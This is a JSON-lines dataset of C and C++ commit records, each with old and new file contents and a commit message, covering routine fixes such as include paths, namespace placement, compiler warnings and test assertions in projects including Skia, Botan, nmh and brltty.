{"commit":"f2a5890d0133c8c7a9a5d7a21ffc9c038e838698","old_file":"ios\/RNInstabug\/InstabugReactBridge.h","new_file":"ios\/RNInstabug\/InstabugReactBridge.h","old_contents":"\/\/\n\/\/  InstabugReactBridge.h\n\/\/  instabugDemo\n\/\/\n\/\/  Created by Yousef Hamza on 9\/29\/16.\n\/\/  Copyright © 2016 Facebook. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"RCTBridgeModule.h\"\n#import \"RCTEventEmitter.h\"\n\n@interface InstabugReactBridge : RCTEventEmitter <RCTBridgeModule>\n\n@end\n","new_contents":"\/\/\n\/\/  InstabugReactBridge.h\n\/\/  instabugDemo\n\/\/\n\/\/  Created by Yousef Hamza on 9\/29\/16.\n\/\/  Copyright © 2016 Facebook. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <React\/RCTBridgeModule.h>\n#import \"RCTEventEmitter.h\"\n\n@interface InstabugReactBridge : RCTEventEmitter <RCTBridgeModule>\n\n@end\n","subject":"Fix the import in the bridge header file to account for changes in RN 0.48","message":":pencil: Fix the import in the bridge header file to account for changes in RN 0.48\n","lang":"C","license":"mit","repos":"Instabug\/instabug-reactnative,Instabug\/instabug-reactnative,Instabug\/instabug-reactnative,Instabug\/instabug-reactnative,Instabug\/instabug-reactnative"}
{"commit":"8b32603f1492f8847ffecd683c1d666a528abbf2","old_file":"include\/Athena-Physics\/Prerequisites.h","new_file":"include\/Athena-Physics\/Prerequisites.h","old_contents":"\/** @file   Prerequisites.h\n    @author Philip Abbet\n    \n    Declaration of the types of the Athena-Physics module\n*\/\n\n#ifndef _ATHENA_PHYSICS_PREREQUISITES_H_\n#define _ATHENA_PHYSICS_PREREQUISITES_H_\n\n#include <Athena-Core\/Prerequisites.h>\n#include <Athena-Physics\/Config.h>\n#include <Bullet\/btConfig.h>\n#include <btBulletDynamicsCommon.h>\n\n\n\/\/----------------------------------------------------------------------------------------\n\/\/\/ @brief\tMain namespace. All the components of the Athena engine belongs to this\n\/\/\/\t\t\tnamespace\n\/\/----------------------------------------------------------------------------------------\nnamespace Athena\n{\n\t\/\/------------------------------------------------------------------------------------\n\t\/\/\/ @brief\tContains all the physics-related classes\n\t\/\/------------------------------------------------------------------------------------\n    namespace Physics\n    {\n        class Body;\n        class CollisionShape;\n        class PhysicalComponent;\n        class World;\n        \n        class BoxShape;\n        class CapsuleShape;\n        class ConeShape;\n        class CylinderShape;\n        class SphereShape;\n        class StaticTriMeshShape;\n    }\n\n\n\t\/\/------------------------------------------------------------------------------------\n\t\/\/\/ @brief\tInitialize the Physics module\n\t\/\/------------------------------------------------------------------------------------\n    extern void initialize();\n}\n\n#endif\n","new_contents":"\/** @file   Prerequisites.h\n    @author Philip Abbet\n    \n    Declaration of the types of the Athena-Physics module\n*\/\n\n#ifndef _ATHENA_PHYSICS_PREREQUISITES_H_\n#define _ATHENA_PHYSICS_PREREQUISITES_H_\n\n#include <Athena-Core\/Prerequisites.h>\n#include <Athena-Physics\/Config.h>\n#include <Bullet\/btConfig.h>\n#include <btBulletDynamicsCommon.h>\n\n\n\/\/----------------------------------------------------------------------------------------\n\/\/\/ @brief\tMain namespace. All the components of the Athena engine belongs to this\n\/\/\/\t\t\tnamespace\n\/\/----------------------------------------------------------------------------------------\nnamespace Athena\n{\n\t\/\/------------------------------------------------------------------------------------\n\t\/\/\/ @brief\tContains all the physics-related classes\n\t\/\/------------------------------------------------------------------------------------\n    namespace Physics\n    {\n        class Body;\n        class CollisionShape;\n        class PhysicalComponent;\n        class World;\n        \n        class BoxShape;\n        class CapsuleShape;\n        class ConeShape;\n        class CylinderShape;\n        class SphereShape;\n        class StaticTriMeshShape;\n\n\n    \t\/\/------------------------------------------------------------------------------------\n    \t\/\/\/ @brief\tInitialize the Physics module\n    \t\/\/------------------------------------------------------------------------------------\n        extern void initialize();\n    }\n}\n\n#endif\n","subject":"Fix the previous commit: the 'initialize()' function wasn't declared in the 'Athena::Physics' namespace","message":"Fix the previous commit: the 'initialize()' function wasn't declared in the 'Athena::Physics' namespace\n","lang":"C","license":"mit","repos":"Kanma\/Athena-Physics,Kanma\/Athena-Physics"}
{"commit":"d00dc21fdb784defab7376b8aa0c45db94be5c97","old_file":"src\/gpu\/vk\/GrVkVulkan.h","new_file":"src\/gpu\/vk\/GrVkVulkan.h","old_contents":"\/*\n * Copyright 2018 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef GrVkVulkan_DEFINED\n#define GrVkVulkan_DEFINED\n\n#include \"SkTypes.h\"\n\n#ifdef VULKAN_CORE_H_\n#error \"Skia's private vulkan header must be included before any other vulkan header.\"\n#endif\n\n#include \"..\/..\/third_party\/vulkan\/vulkan\/vulkan_core.h\"\n\n#ifdef SK_BUILD_FOR_ANDROID\n#ifdef VULKAN_ANDROID_H_\n#error \"Skia's private vulkan android header must be included before any other vulkan header.\"\n#endif\n\/\/ This is needed to get android extensions for external memory\n#include \"..\/..\/third_party\/vulkan\/vulkan\/vulkan_android.h\"\n#endif\n\n#endif\n","new_contents":"\/*\n * Copyright 2018 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef GrVkVulkan_DEFINED\n#define GrVkVulkan_DEFINED\n\n#include \"SkTypes.h\"\n\n#ifdef VULKAN_CORE_H_\n#error \"Skia's private vulkan header must be included before any other vulkan header.\"\n#endif\n\n#include \"..\/..\/..\/include\/third_party\/vulkan\/vulkan\/vulkan_core.h\"\n\n#ifdef SK_BUILD_FOR_ANDROID\n#ifdef VULKAN_ANDROID_H_\n#error \"Skia's private vulkan android header must be included before any other vulkan header.\"\n#endif\n\/\/ This is needed to get android extensions for external memory\n#include \"..\/..\/..\/include\/third_party\/vulkan\/vulkan\/vulkan_android.h\"\n#endif\n\n#endif\n","subject":"Fix path to vulkan header.","message":"Fix path to vulkan header.\n\nBug: skia:\nChange-Id: I47cb8f67b378a51cefcb82864eda467ff6b48a7e\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/176969\nCommit-Queue: Greg Daniel <39df0a804564ccb6cf75f18db79653821f37c1c5@google.com>\nCommit-Queue: Mike Klein <14574f09dfa9b4e14759b88c3426a495a0e627b0@google.com>\nAuto-Submit: Greg Daniel <39df0a804564ccb6cf75f18db79653821f37c1c5@google.com>\nReviewed-by: Mike Klein <14574f09dfa9b4e14759b88c3426a495a0e627b0@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,HalCanary\/skia-hc,google\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,rubenvb\/skia,google\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia"}
{"commit":"a97f2adb2fbfed37e1bf7706f57d22983936ba4d","old_file":"src\/kdf\/pbkdf1\/pbkdf1.h","new_file":"src\/kdf\/pbkdf1\/pbkdf1.h","old_contents":"\/*************************************************\n* PBKDF1 Header File                             *\n* (C) 1999-2007 Jack Lloyd                       *\n*************************************************\/\n\n#ifndef BOTAN_PBKDF1_H__\n#define BOTAN_PBKDF1_H__\n\n#include <botan\/s2k.h>\n#include <botan\/base.h>\n\nnamespace Botan {\n\n\/*************************************************\n* PKCS #5 PBKDF1                                 *\n*************************************************\/\nclass BOTAN_DLL PKCS5_PBKDF1 : public S2K\n   {\n   public:\n      std::string name() const;\n      S2K* clone() const;\n\n      PKCS5_PBKDF1(HashFunction* hash_in) : hash(hash_in) {}\n      PKCS5_PBKDF1(const PKCS5_PBKDF1& other) : hash(other.hash->clone()) {}\n      ~PKCS5_PBKDF1() { delete hash; }\n   private:\n      OctetString derive(u32bit, const std::string&,\n                          const byte[], u32bit, u32bit) const;\n\n      HashFunction* hash;\n   };\n\n}\n\n#endif\n","new_contents":"\/*************************************************\n* PBKDF1 Header File                             *\n* (C) 1999-2007 Jack Lloyd                       *\n*************************************************\/\n\n#ifndef BOTAN_PBKDF1_H__\n#define BOTAN_PBKDF1_H__\n\n#include <botan\/s2k.h>\n#include <botan\/base.h>\n\nnamespace Botan {\n\n\/*************************************************\n* PKCS #5 PBKDF1                                 *\n*************************************************\/\nclass BOTAN_DLL PKCS5_PBKDF1 : public S2K\n   {\n   public:\n      std::string name() const;\n      S2K* clone() const;\n\n      PKCS5_PBKDF1(HashFunction* hash_in) : hash(hash_in) {}\n      PKCS5_PBKDF1(const PKCS5_PBKDF1& other) :\n         S2K(), hash(other.hash->clone()) {}\n\n      ~PKCS5_PBKDF1() { delete hash; }\n   private:\n      OctetString derive(u32bit, const std::string&,\n                          const byte[], u32bit, u32bit) const;\n\n      HashFunction* hash;\n   };\n\n}\n\n#endif\n","subject":"Fix warning in PBKDF1 copy constructor","message":"Fix warning in PBKDF1 copy constructor\n","lang":"C","license":"bsd-2-clause","repos":"Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,randombit\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,webmaster128\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan"}
{"commit":"2f2b637ef0a89c0483ff1f26f42452dbc210d7d2","old_file":"AppIconOverlay\/config.h","new_file":"AppIconOverlay\/config.h","old_contents":"#ifndef AppIconOverlay_config_h\n#define AppIconOverlay_config_h\n\n#define DEBUG 1\n\n#define DEFAULT_MIN_FONT_SIZE 6.0\n#define DEFAULT_MAX_FONT_SIZE 18.0\n#define DEFAULT_FONT_TO_USE \"Arial-BoldMT\"\n\n#endif\n","new_contents":"#ifndef AppIconOverlay_config_h\n#define AppIconOverlay_config_h\n\n#define DEBUG 1\n\n#define DEFAULT_MIN_FONT_SIZE 6.0\n#define DEFAULT_MAX_FONT_SIZE 18.0\n#define DEFAULT_FONT_TO_USE @\"Arial-BoldMT\"\n\n#endif\n","subject":"Convert default font name into an NSString","message":"Convert default font name into an NSString\n","lang":"C","license":"mit","repos":"carsonmcdonald\/AppIconOverlay"}
{"commit":"d84b1b8c58237023cf007e92202d96716254b1f0","old_file":"vp8\/decoder\/opencl\/opencl_systemdependent.c","new_file":"vp8\/decoder\/opencl\/opencl_systemdependent.c","old_contents":"\/*\n *  Copyright (c) 2010 The WebM project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n\n#include \"vpx_ports\/config.h\"\n#include \"vp8\/decoder\/onyxd_int.h\"\n\n#include \"vp8\/common\/opencl\/vp8_opencl.h\"\n#include \"vp8_decode_cl.h\"\n\nextern void vp8_dequantize_b_cl(BLOCKD*);\nextern void vp8_dequant_dc_idct_add_cl(short*, short*, unsigned char*,\n                               unsigned char*, int, int, int Dc);\n\nvoid vp8_arch_opencl_decode_init(VP8D_COMP *pbi)\n{\n\n    if (cl_initialized == CL_SUCCESS){\n        cl_decode_init();\n    }\n\n}\n","new_contents":"\/*\n *  Copyright (c) 2010 The WebM project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n\n#include \"vpx_ports\/config.h\"\n#include \"vp8\/decoder\/onyxd_int.h\"\n\n#include \"vp8\/common\/opencl\/vp8_opencl.h\"\n#include \"vp8_decode_cl.h\"\n\nvoid vp8_arch_opencl_decode_init(VP8D_COMP *pbi)\n{\n\n    if (cl_initialized == CL_SUCCESS){\n        cl_decode_init();\n    }\n\n}\n","subject":"Remove unused external function definitions.","message":"Remove unused external function definitions.\n","lang":"C","license":"bsd-3-clause","repos":"awatry\/libvpx.opencl,awatry\/libvpx.opencl,awatry\/libvpx.opencl,awatry\/libvpx.opencl"}
{"commit":"f5098c051ddf16fd9adb2d53044975c2fc33ad10","old_file":"libpolyml\/noreturn.h","new_file":"libpolyml\/noreturn.h","old_contents":"\/*\n    Title:  No return header.\n    Author: David C.J. Matthews\n\n    Copyright (c) 2006, 2015 David C.J. Matthews\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License version 2.1 as published by the Free Software Foundation.\n    \n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n    \n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n\n*\/\n\n#ifndef _NORETURN_H\n#define _NORETURN_H\n\n\/* The exception functions don't return but instead raise exceptions.  This macro\n   tells the compiler about this and prevents spurious errors.  *\/\n#if (defined(_MSC_EXTENSIONS) && (_MSC_VER >= 1200))\n#define NORETURNFN(x) __declspec(noreturn) x\n#elif defined(__GNUC__) || defined(__attribute__)\n#define NORETURNFN(x)   x __attribute__((noreturn))\n#else\n#define NORETURNFN(x)\n#endif\n\n\n#endif\n\n","new_contents":"\/*\n    Title:  No return header.\n    Author: David C.J. Matthews\n\n    Copyright (c) 2006, 2015 David C.J. Matthews\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License version 2.1 as published by the Free Software Foundation.\n    \n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n    \n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n\n*\/\n\n#ifndef _NORETURN_H\n#define _NORETURN_H\n\n\/* The exception functions don't return but instead raise exceptions.  This macro\n   tells the compiler about this and prevents spurious errors.  *\/\n#if (defined(_MSC_EXTENSIONS) && (_MSC_VER >= 1200))\n#define NORETURNFN(x) __declspec(noreturn) x\n#elif defined(__GNUC__) || defined(__attribute__)\n#define NORETURNFN(x)   x __attribute__((noreturn))\n#else\n#define NORETURNFN(x) x\n#endif\n\n\n#endif\n\n","subject":"Fix no-return for non-GCC and non-VS.","message":"Fix no-return for non-GCC and non-VS.\n","lang":"C","license":"lgpl-2.1","repos":"polyml\/polyml,polyml\/polyml,dcjm\/polyml,polyml\/polyml,dcjm\/polyml,dcjm\/polyml,polyml\/polyml,dcjm\/polyml"}
{"commit":"a66b58cc03746c8b26d1f73c149eea03f9195c85","old_file":"packages\/rview\/fltk\/Fl_Value_Slider2.h","new_file":"packages\/rview\/fltk\/Fl_Value_Slider2.h","old_contents":"#ifndef Fl_Value_Slider2_H\n#define Fl_Value_Slider2_H\n\n#include \"Fl\/Fl_Slider.H\"\n\nclass Fl_Value_Slider2 : public Fl_Slider {\n    uchar textfont_, textsize_;\n    unsigned textcolor_;\npublic:\n    void draw();\n    int handle(int);\n    Fl_Value_Slider2(int x,int y,int w,int h, const char *l = 0);\n    Fl_Font textfont() const {return (Fl_Font)textfont_;}\n    void textfont(uchar s) {textfont_ = s;}\n    uchar textsize() const {return textsize_;}\n    void textsize(uchar s) {textsize_ = s;}\n    Fl_Color textcolor() const {return (Fl_Color)textcolor_;}\n    void textcolor(unsigned s) {textcolor_ = s;}\n};\n\n#endif\n","new_contents":"#ifndef Fl_Value_Slider2_H\n#define Fl_Value_Slider2_H\n\n#include <FL\/Fl_Slider.H>\n\nclass Fl_Value_Slider2 : public Fl_Slider {\n    uchar textfont_, textsize_;\n    unsigned textcolor_;\npublic:\n    void draw();\n    int handle(int);\n    Fl_Value_Slider2(int x,int y,int w,int h, const char *l = 0);\n    Fl_Font textfont() const {return (Fl_Font)textfont_;}\n    void textfont(uchar s) {textfont_ = s;}\n    uchar textsize() const {return textsize_;}\n    void textsize(uchar s) {textsize_ = s;}\n    Fl_Color textcolor() const {return (Fl_Color)textcolor_;}\n    void textcolor(unsigned s) {textcolor_ = s;}\n};\n\n#endif\n","subject":"Fix include statement of FLTK header such that it compiles with FLTK 1.3 without requiring backwards compatible link creation.","message":"Fix include statement of FLTK header such that it compiles with FLTK 1.3 without requiring backwards compatible link creation.\n","lang":"C","license":"unknown","repos":"BioMedIA\/irtk-legacy,BioMedIA\/IRTK,BioMedIA\/IRTK,ghisvail\/irtk-legacy,ghisvail\/irtk-legacy,BioMedIA\/IRTK,ghisvail\/irtk-legacy,ghisvail\/irtk-legacy,BioMedIA\/IRTK,BioMedIA\/irtk-legacy,BioMedIA\/irtk-legacy,sk1712\/IRTK,sk1712\/IRTK,sk1712\/IRTK,sk1712\/IRTK,BioMedIA\/irtk-legacy"}
{"commit":"cc960ada72a4626bac4e12853c00a20282d246f7","old_file":"include\/problems\/0001-0050\/Problem14.h","new_file":"include\/problems\/0001-0050\/Problem14.h","old_contents":"\/\/===-- problems\/Problem14.h ------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ ProjectEuler.net solutions by Will Mitchell\n\/\/\n\/\/ This file is distributed under the MIT License. See LICENSE for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ \\brief Problem 14: Longest Collatz sequence\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef PROBLEMS_PROBLEM14_H\n#define PROBLEMS_PROBLEM14_H\n\n#include <string>\n#include <vector>\n\n#include \"..\/Problem.h\"\n\nnamespace problems {\nclass Problem14 : public Problem {\npublic:\n  Problem14() : start(0), length(0), solved(false) {}\n  ~Problem14() = default;\n  std::string answer();\n  std::string description() const;\n  void solve();\n\n  \/\/ Simple brute force solution\n  unsigned long long bruteForce(const unsigned long long limit) const;\n  \/\/ Simple brute force solution with memoization\n  unsigned long long\n  faster(const unsigned long long limit,\n         const std::vector<unsigned long long>::size_type cacheSize) const;\n\nprivate:\n  \/\/\/ Cached answer\n  unsigned long long start;\n  \/\/\/ Cached answer\n  mutable unsigned long long length;\n  \/\/\/ If cached answer is valid\n  bool solved;\n};\n}\n\n#endif\n","new_contents":"\/\/===-- problems\/Problem14.h ------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ ProjectEuler.net solutions by Will Mitchell\n\/\/\n\/\/ This file is distributed under the MIT License. See LICENSE for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ \\brief Problem 14: Longest Collatz sequence\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef PROBLEMS_PROBLEM14_H\n#define PROBLEMS_PROBLEM14_H\n\n#include <string>\n#include <vector>\n\n#include \"..\/Problem.h\"\n\nnamespace problems {\nclass Problem14 : public Problem {\npublic:\n  Problem14() : start(0), length(0), solved(false) {}\n  ~Problem14() = default;\n  std::string answer();\n  std::string description() const;\n  void solve();\n\n  \/\/\/ Simple brute force solution\n  unsigned long long bruteForce(const unsigned long long limit) const;\n  \/\/\/ Simple brute force solution with memoization\n  unsigned long long\n  faster(const unsigned long long limit,\n         const std::vector<unsigned long long>::size_type cacheSize) const;\n\nprivate:\n  \/\/\/ Cached answer\n  unsigned long long start;\n  \/\/\/ Cached answer\n  mutable unsigned long long length;\n  \/\/\/ If cached answer is valid\n  bool solved;\n};\n}\n\n#endif\n","subject":"Add another \/ to a couple comments in Problem 14 to make intended Doxygen comments visible as such.","message":"Add another \/ to a couple comments in Problem 14 to make intended Doxygen comments visible as such.\n","lang":"C","license":"mit","repos":"wtmitchell\/challenge_problems,wtmitchell\/challenge_problems,wtmitchell\/challenge_problems"}
{"commit":"adebbe22c28891ccc25941d7679a9641972a7a25","old_file":"tests\/regression\/31-ikind-aware-ints\/16-enums-compare.c","new_file":"tests\/regression\/31-ikind-aware-ints\/16-enums-compare.c","old_contents":"\/\/PARAM: --enable ana.int.enums --disable ana.int.def_exc\nint main(){\n    int top = rand();\n    int x,y;\n\n    if(top){\n        x = 1;\n    } else{\n        x = 0;\n    }\n\n    assert(x<2);\n    return 0;\n}\n","new_contents":"\/\/PARAM: --enable ana.int.enums --disable ana.int.def_exc\nint main(){\n    int top = rand();\n    int x,y;\n\n    if(top){\n        x = 1;\n    } else{\n        x = 0;\n    }\n\n    assert(x < 2);\n    assert(x < 1); \/\/ UNKNOWN!\n    assert(x < 0); \/\/ FAIL\n\n    assert(x <= 2);\n    assert(x <= 1);\n    assert(x <= 0); \/\/ UNKNOWN!\n    assert(x <= -1); \/\/FAIL\n\n    assert(x > -1);\n    assert(x > 0); \/\/UNKNOWN!\n    assert(x > 1); \/\/FAIL\n\n    assert(x >= -1);\n    assert(x >= 0);\n    assert(x >= 1); \/\/UNKNOWN!\n    assert(x >= 2); \/\/FAIL\n    return 0;\n}\n","subject":"Add more assert statements to test case","message":"Add more assert statements to test case\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"a8f44e52c36e7dee41d2e6a913e83e1d9bb9c1cc","old_file":"sbr\/folder_free.c","new_file":"sbr\/folder_free.c","old_contents":"\n\/*\n * folder_free.c -- free a folder\/message structure\n *\n * This code is Copyright (c) 2002, by the authors of nmh.  See the\n * COPYRIGHT file in the root directory of the nmh distribution for\n * complete copyright information.\n *\/\n\n#include <h\/mh.h>\n\n\nvoid\nfolder_free (struct msgs *mp)\n{\n    size_t i;\n    bvector_t *v;\n\n    if (!mp)\n\treturn;\n\n    if (mp->foldpath)\n\tfree (mp->foldpath);\n\n    \/* free the sequence names *\/\n    for (i = 0; i < svector_size (mp->msgattrs); i++)\n\tfree (svector_at (mp->msgattrs, i));\n    svector_free (mp->msgattrs);\n\n    for (i = 0, v = mp->msgstats; i < mp->num_msgstats; ++i, ++v) {\n\tbvector_free (*v);\n    }\n    free (mp->msgstats);\n\n    \/* Close\/free the sequence file if it is open *\/\n\n    if (mp->seqhandle)\n    \tlkfclosedata (mp->seqhandle, mp->seqname);\n\n    if (mp->seqname)\n    \tfree (mp->seqname);\n\n    bvector_free (mp->attrstats);\n    free (mp);\t\t\t\/* free main folder structure *\/\n}\n","new_contents":"\n\/*\n * folder_free.c -- free a folder\/message structure\n *\n * This code is Copyright (c) 2002, by the authors of nmh.  See the\n * COPYRIGHT file in the root directory of the nmh distribution for\n * complete copyright information.\n *\/\n\n#include <h\/mh.h>\n#include <h\/utils.h>\n\n\nvoid\nfolder_free (struct msgs *mp)\n{\n    size_t i;\n    bvector_t *v;\n\n    if (!mp)\n\treturn;\n\n    mh_xfree(mp->foldpath);\n\n    \/* free the sequence names *\/\n    for (i = 0; i < svector_size (mp->msgattrs); i++)\n\tfree (svector_at (mp->msgattrs, i));\n    svector_free (mp->msgattrs);\n\n    for (i = 0, v = mp->msgstats; i < mp->num_msgstats; ++i, ++v) {\n\tbvector_free (*v);\n    }\n    free (mp->msgstats);\n\n    \/* Close\/free the sequence file if it is open *\/\n\n    if (mp->seqhandle)\n    \tlkfclosedata (mp->seqhandle, mp->seqname);\n\n    mh_xfree(mp->seqname);\n\n    bvector_free (mp->attrstats);\n    free (mp);\t\t\t\/* free main folder structure *\/\n}\n","subject":"Replace `if (p) free(p)' with `mh_xfree(p)'.","message":"Replace `if (p) free(p)' with `mh_xfree(p)'.\n","lang":"C","license":"bsd-3-clause","repos":"mcr\/nmh,mcr\/nmh"}
{"commit":"5055cdaf310f28beb0e84119dd4da1a6034cc0f2","old_file":"Programs\/charset_grub.c","new_file":"Programs\/charset_grub.c","old_contents":"","new_contents":"\/*\n * BRLTTY - A background process providing access to the console screen (when in\n *          text mode) for a blind person using a refreshable braille display.\n *\n * Copyright (C) 1995-2012 by The BRLTTY Developers.\n *\n * BRLTTY comes with ABSOLUTELY NO WARRANTY.\n *\n * This is free software, placed under the terms of the\n * GNU General Public License, as published by the Free Software\n * Foundation; either version 2 of the License, or (at your option) any\n * later version. Please see the file LICENSE-GPL for details.\n *\n * Web Page: http:\/\/mielke.cc\/brltty\/\n *\n * This software is maintained by Dave Mielke <dave@mielke.cc>.\n *\/\n\n#include \"prologue.h\"\n\n#include <locale.h>\n#include <wchar.h>\n\n#include \"charset_internal.h\"\n\nwint_t\nconvertCharToWchar (char c) {\n  return (unsigned char)c;\n}\n\nint\nconvertWcharToChar (wchar_t wc) {\n  return wc & 0XFF;\n}\n\nconst char *\ngetLocaleCharset (void) {\n  return nl_langinfo(CODESET);\n}\n\nint\nregisterCharacterSet (const char *charset) {\n  return grub_strcasecmp(charset, \"UTF-8\") == 0;\n}\n","subject":"Add the grub-specific charset functions. (dm)","message":"Add the grub-specific charset functions. (dm)\n\n\ngit-svn-id: 30a5f035a20f1bc647618dbad7eea2a951b61b7c@6219 91a5dbb7-01b9-0310-9b5f-b28072856b6e\n","lang":"C","license":"lgpl-2.1","repos":"brltty\/brltty,brltty\/brltty,brltty\/brltty,brltty\/brltty,brltty\/brltty,brltty\/brltty"}
{"commit":"89eae96b2f739b5f0e7db4bee8bd517207d699c6","old_file":"src\/include\/port\/qnx4.h","new_file":"src\/include\/port\/qnx4.h","old_contents":"#include <sys\/types.h>\t\t\t\/* for namser.h *\/\n#include <arpa\/nameser.h>\t\t\/* for BYTE_ORDER *\/\n#include <process.h>\t\t\t\/* for execv *\/\n#include <ioctl.h>\t\t\t\t\/* for unix.h *\/\n#include <unix.h>\n#include <sys\/select.h>\t\t\t\/* for select *\/\n\n#define HAS_TEST_AND_SET\n\n#undef HAVE_GETRUSAGE\n\n#define strncasecmp strnicmp\n\n#ifndef\t\t\t\t\tNAN\n#ifndef\t\t\t\t\t__nan_bytes\n#define __nan_bytes\t\t\t\t\t\t\t\t{ 0, 0, 0, 0, 0, 0, 0xf8, 0x7f }\n#endif   \/* __nan_bytes *\/\nextern unsigned char __nan[8];\n\n#define\t\t\t\t\t\t\t   NAN\t   (*(const double *) __nan)\n#endif   \/* NAN *\/\n\ntypedef u_short ushort;\n\ntypedef unsigned char slock_t;\n\nextern int\tisnan(double dsrc);\n\nextern double rint(double x);\n\nextern char *crypt(const char *, const char *);\n\nextern long random(void);\nextern void srandom(unsigned int seed);\n","new_contents":"#include <sys\/types.h>\t\t\t\/* for namser.h *\/\n#include <arpa\/nameser.h>\t\t\/* for BYTE_ORDER *\/\n#include <process.h>\t\t\t\/* for execv *\/\n#include <ioctl.h>\t\t\t\t\/* for unix.h *\/\n#include <unix.h>\n#include <sys\/select.h>\t\t\t\/* for select *\/\n\n#define HAS_TEST_AND_SET\n\n#undef HAVE_GETRUSAGE\n\n#define strncasecmp strnicmp\n\n#ifndef\t\t\t\t\tNAN\n#ifndef\t\t\t\t\t__nan_bytes\n#define __nan_bytes\t\t\t\t\t\t\t\t{ 0, 0, 0, 0, 0, 0, 0xf8, 0x7f }\n#endif   \/* __nan_bytes *\/\nextern unsigned char __nan[8];\n\n#define\t\t\t\t\t\t\t   NAN\t   (*(const double *) __nan)\n#endif   \/* NAN *\/\n\ntypedef u_short ushort;\n\ntypedef unsigned char slock_t;\n\nextern int\tisnan(double dsrc);\n\nextern char *crypt(const char *, const char *);\n\nextern long random(void);\nextern void srandom(unsigned int seed);\n","subject":"Remove rint() prototype from QNX.","message":"Remove rint() prototype from 